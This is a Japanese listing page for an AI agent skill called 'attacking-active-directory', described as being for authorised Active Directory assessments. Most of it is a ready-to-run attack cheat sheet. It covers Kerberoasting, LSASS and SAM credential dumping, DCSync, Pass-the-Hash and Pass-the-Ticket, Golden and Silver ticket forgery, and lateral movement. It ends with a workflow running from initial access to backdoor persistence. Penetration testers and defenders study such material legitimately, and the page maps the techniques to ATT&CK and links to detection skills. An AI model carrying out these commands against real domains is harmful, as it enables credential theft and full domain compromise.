mcpField
A
attacking-active-directory

attacking-active-directory

github.com/trilwuセキュリティ17796 回インストール12 週間前に更新
リポジトリ

attacking-active-directory について

許可を得た Active Directory 評価向けのセキュリティスキルです。ドメインの列挙、Kerberos 技法、認証情報の取得、横展開を扱い、AD CS や委任、Entra ID の詳細は専用スキルへ案内します。

主な機能

  1. 01Active Directory ドメインの列挙
  2. 02Kerberoasting と ASREPRoasting
  3. 03BloodHound による攻撃経路分析
  4. 04認証情報のダンプと DCSync
  5. 05Pass-the-Hash と横展開

活用シーン

  1. 01ドメインのユーザー、グループ、攻撃経路の把握
  2. 02ドメイン内の Kerberos リスク評価
  3. 03許可されたテストでのドメインシステム間の横展開

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/trilwu/secskills --skill attacking-active-directory

インストール後、Claude Code で/attacking-active-directoryを入力して読み込まれたか確認します。

詳細

Active Directory の攻撃

使用する場面

  • AD の偵察と列挙
  • Kerberos ベースの攻撃
  • ドメインコントローラーからの認証情報のダンプ
  • ドメイン内でのラテラルムーブメント
  • BloodHound による攻撃経路の分析
  • ドメインでの永続化手法

使用しない場面

  • Windows 以外/Linux のみの環境 — enumerating-network-services を使用してください
  • 収集したハッシュのクラック — cracking-passwords を使用してください
  • ドメイン侵害後の永続化 — establishing-persistence を使用してください
  • Entra ID/Azure AD が主な標的 — attacking-entra-id を使用してください
  • これらの攻撃を防御側で検知する場合 — engineering-detections を使用してください

ログオン履歴がない、特権を持ちKerberoast可能なアカウントは、典型的なハニーユーザーです。そのアカウントをKerberoastingすると、高精度のアラートが発生します。都合がよすぎるように見えるアカウントをRoastingする前に、recognizing-deception を確認してください。

詳細スキルへの切り替え

AD の権限昇格には、専用の手順スキルが用意されているほど詳しい分野がいくつかあります。列挙によってこれらのいずれかが示された場合は、そのスキルに切り替えてください。ここで説明する一般的な方法論には、それらのスキルに含まれるツール固有の詳細はありません。

シグナルスキル
CA(pKIEnrollmentService)が存在する、certipy find がテンプレートを検出する、ESC1-ESC16abusing-adcs
BloodHound が Unconstrained/Constrained/RBCD 委任、またはコンピューターに対する GenericWrite を検出するattacking-kerberos-delegation
標的が Entra ID/Azure AD、トークン、PRT、またはハイブリッド ID 同期であるattacking-entra-id

以下のドメイン攻撃手法(Kerberoasting、DCSync、ラテラルムーブメント)は引き続き適用できます。これらのスキルはその一部の手順に特化しており、完了後はここに戻ります。

Kerberoasting

Windows:

# Check kerberoastable users
.\Rubeus.exe kerberoast /stats

# Roast all
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Target specific user
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.txt

# Target admins only
.\Rubeus.exe kerberoast /ldapfilter:'(admincount=1)' /nowrap

Linux:

# Impacket GetUserSPNs
GetUserSPNs.py -request -dc-ip 10.10.10.10 domain.local/user:password -outputfile hashes.txt

# With NT hash
GetUserSPNs.py -request -dc-ip 10.10.10.10 -hashes :ntlmhash domain.local/user -outputfile hashes.txt

# Target specific user
GetUserSPNs.py -request-user svc_mssql -dc-ip 10.10.10.10 domain.local/user:password

ハッシュをクラックする:

# Hashcat (TGS-REP)
hashcat -m 13100 hashes.txt wordlist.txt

# John
john --wordlist=wordlist.txt hashes.txt

ASREPRoasting

Windows:

# Enumerate vulnerable users
Get-DomainUser -PreauthNotRequired

# Roast
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
.\Rubeus.exe asreproast /user:victim /format:hashcat

Linux:

# With domain creds
GetNPUsers.py domain.local/user:password -request -format hashcat -outputfile hashes.txt

# Without creds (username list)
GetNPUsers.py domain.local/ -usersfile users.txt -format hashcat -outputfile hashes.txt -dc-ip 10.10.10.10

AS-REP をクラックする:

hashcat -m 18200 hashes.txt wordlist.txt

BloodHound

データ収集:

# Windows - SharpHound
.\SharpHound.exe -c All --zipfilename output.zip
.\SharpHound.exe -c All,GPOLocalGroup

Linux:

# bloodhound-python
bloodhound-python -u user -p password -ns 10.10.10.10 -d domain.local -c All --zip

便利なクエリ:

# Shortest path to Domain Admins
MATCH p=shortestPath((n)-[*1..]->(m:Group {name:'DOMAIN [email protected]'})) RETURN p

# Kerberoastable users
MATCH (u:User {hasspn:true}) RETURN u

# AS-REP Roastable
MATCH (u:User {dontreqpreauth:true}) RETURN u

# Unconstrained delegation
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c

# DCSync rights
MATCH p=(n)-[:DCSync|AllExtendedRights|GenericAll]->(d:Domain) RETURN p

認証情報のダンプ

LSASS のダンプ:

# Task Manager: Right-click lsass.exe -> Create dump file

# procdump
procdump.exe -accepteula -ma lsass.exe lsass.dmp

# comsvcs.dll
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\Temp\lsass.dmp full

# Parse offline with mimikatz
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

SAM のダンプ:

# Save hives
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive

# Extract hashes (Linux)
secretsdump.py -sam sam.hive -system system.hive LOCAL

DCSync(ドメイン):

# secretsdump - dump all
secretsdump.py domain.local/user:[email protected] -just-dc

# Specific user
secretsdump.py domain.local/user:[email protected] -just-dc-user krbtgt

# With NTLM hash
secretsdump.py -hashes :ntlmhash domain.local/[email protected] -just-dc

Pass-the-Hash

Windows:

# Mimikatz
sekurlsa::pth /user:administrator /domain:domain.local /ntlm:hash /run:cmd.exe

Linux:

# NetExec (nxc)
nxc smb 10.10.10.10 -u administrator -H hash
nxc smb 10.10.10.10 -u administrator -H hash -x whoami

# psexec
psexec.py -hashes :hash [email protected]

# wmiexec
wmiexec.py -hashes :hash [email protected]

# evil-winrm
evil-winrm -i 10.10.10.10 -u administrator -H hash

Pass-the-Ticket

チケットのエクスポート:

# Mimikatz
sekurlsa::tickets /export

# Rubeus
.\Rubeus.exe dump /nowrap
.\Rubeus.exe monitor /interval:10

チケットのインポート/使用:

# Mimikatz
kerberos::ptt ticket.kirbi

# Rubeus
.\Rubeus.exe ptt /ticket:base64ticket

# Verify
klist

Linux PtT:

# Convert kirbi to ccache
ticketConverter.py ticket.kirbi ticket.ccache

# Set ticket
export KRB5CCNAME=ticket.ccache

# Use ticket
psexec.py -k -no-pass domain.local/[email protected]

Overpass-the-Hash

# Rubeus - request TGT with NTLM hash
.\Rubeus.exe asktgt /user:administrator /domain:domain.local /rc4:hash /ptt

# With AES key (better OPSEC)
.\Rubeus.exe asktgt /user:administrator /domain:domain.local /aes256:key /ptt

Golden/Silver Ticket

Golden Ticket(TGT):

# Requirements: krbtgt hash, Domain SID

# Mimikatz
kerberos::golden /user:administrator /domain:domain.local /sid:S-1-5-21-... /krbtgt:hash /ptt

# Rubeus
.\Rubeus.exe golden /rc4:hash /user:administrator /domain:domain.local /sid:S-1-5-21-... /ptt

Silver Ticket(TGS):

# Requirements: Service account hash, Service SPN

# Mimikatz - CIFS service
kerberos::golden /user:administrator /domain:domain.local /sid:S-1-5-21-... /target:dc.domain.local /service:cifs /rc4:hash /ptt

ラテラルムーブメント

NetExec(nxc):

# SMB spray
nxc smb 10.10.10.0/24 -u user -p password

# Execute commands
nxc smb 10.10.10.10 -u admin -p password -x whoami
nxc smb 10.10.10.10 -u admin -H hash -x whoami

# Dump SAM
nxc smb 10.10.10.10 -u admin -p password --sam

# Dump LSA
nxc smb 10.10.10.10 -u admin -p password --lsa

PSExec の派生ツール:

# psexec
psexec.py domain/user:[email protected]

# wmiexec (stealthier)
wmiexec.py domain/user:[email protected]

# smbexec (no service)
smbexec.py domain/user:[email protected]

WinRM:

# PowerShell
Enter-PSSession -ComputerName dc.domain.local -Credential domain\user
# evil-winrm
evil-winrm -i 10.10.10.10 -u administrator -p password
evil-winrm -i 10.10.10.10 -u administrator -H hash

列挙

ドメイン情報:

# PowerView
Get-Domain
Get-DomainController
Get-DomainUser
Get-DomainComputer
Get-DomainGroup
Get-DomainGroupMember "Domain Admins"

Linux での列挙:

# NetExec (nxc, formerly CrackMapExec)
nxc smb 10.10.10.0/24 -u user -p password --users
nxc smb 10.10.10.0/24 -u user -p password --groups

# ldapsearch
ldapsearch -x -H ldap://10.10.10.10 -D '[email protected]' -w 'password' -b "DC=domain,DC=local"

クイックワークフロー

  1. 初期アクセス → ドメイン認証情報を取得する
  2. 列挙 → BloodHound のデータ収集を実行する
  3. Kerberoasting → サービスチケットを抽出してクラックする
  4. ラテラルムーブメント → 認証情報を使って価値の高い標的へ移動する
  5. 認証情報のダンプ → 侵害したホスト上で LSASS/SAM をダンプする
  6. DCSync → DC からすべてのドメインハッシュを抽出する
  7. 永続化 → Golden Ticket を作成するか、バックドアアカウントを作成する

よくある成功例

  • 脆弱なサービスアカウントのパスワードを Kerberoasting する
  • 事前認証なしのアカウントを ASREPRoasting する
  • BloodHound で DA への短い経路を見つける
  • ダンプした認証情報を使って Pass-the-Hash を実行する
  • レプリケーション権限を持つ侵害済みアカウントで DCSync を実行する

ツール

  • Rubeus - Kerberos 攻撃(Windows)
  • Mimikatz - 認証情報のダンプ(Windows)
  • Impacket - 包括的なツールキット(Linux)
  • BloodHound - AD の関係性をグラフ化
  • NetExec(nxc) - AD 用の万能ツール(アーカイブされた CrackMapExec のメンテナンス継続中の後継)
  • PowerView - AD の列挙(PowerShell)
  • evil-winrm - WinRM アクセス(Linux)

ATT&CK のカバレッジ

secskills-core/ttp-index.json から生成されています。このファイルを編集してから、 python3 scripts/sync_attack.py --write を実行してください。レポートで引用する前に、 現在の ATT&CK リリースに照らして ID を再確認してください。

初期アクセス(TA0001)

  • T1078 有効なアカウント (永続化、権限昇格、防御回避にも該当) — cracking-passwords、exploiting-cloud-platforms も参照してください

実行(TA0002)

  • T1047 Windows Management Instrumentation — escalating-windows-privileges も参照してください
  • T1569 システムサービス — escalating-windows-privileges も参照してください

永続化(TA0003)

  • T1098 アカウント操作 (権限昇格にも該当) — establishing-persistence も参照してください
  • T1136 アカウントの作成 — establishing-persistence も参照してください
  • T1556 認証プロセスの変更 (認証情報アクセスにも該当) — establishing-persistence も参照してください

権限昇格(TA0004)

  • T1484 ドメインまたはテナントポリシーの変更 (防御回避にも該当)

認証情報アクセス(TA0006)

  • T1003 OS 認証情報のダンプ — cracking-passwords も参照してください
  • T1003.001 LSASS メモリ — engineering-detections も参照してください
  • T1003.003 NTDS
  • T1003.006 DCSync
  • T1110.003 パスワードスプレー — cracking-passwords も参照してください
  • T1557 中間者攻撃 (収集にも該当) — attacking-wireless-networks も参照してください
  • T1558 Kerberos チケットの窃取または偽造 — attacking-kerberos-delegation も参照してください
  • T1558.003 Kerberoasting — cracking-passwords も参照してください
  • T1558.004 AS-REP Roasting
  • T1649 認証証明書の窃取または偽造 — abusing-adcs も参照してください

探索(TA0007)

  • T1018 リモートシステム探索 — enumerating-network-services も参照してください
  • T1069 権限グループの探索 — exploiting-cloud-platforms も参照してください
  • T1087 アカウント探索 — exploiting-cloud-platforms も参照してください

ラテラルムーブメント(TA0008)

  • T1021 リモートサービス — enumerating-network-services も参照してください
  • T1021.001 リモートデスクトッププロトコル
  • T1021.002 SMB/Windows 管理共有 — enumerating-network-services も参照してください
  • T1021.006 Windows リモート管理
  • T1550 代替認証情報の使用 (防御回避にも該当)
  • T1550.002 Pass the Hash — cracking-passwords も参照してください
  • T1550.003 Pass the Ticket

これらのいずれかに関する検知コンテンツ:engineering-detections。プロアクティブな検索:hunting-threats。侵害後の対応:responding-to-incidents。

参考資料

コメント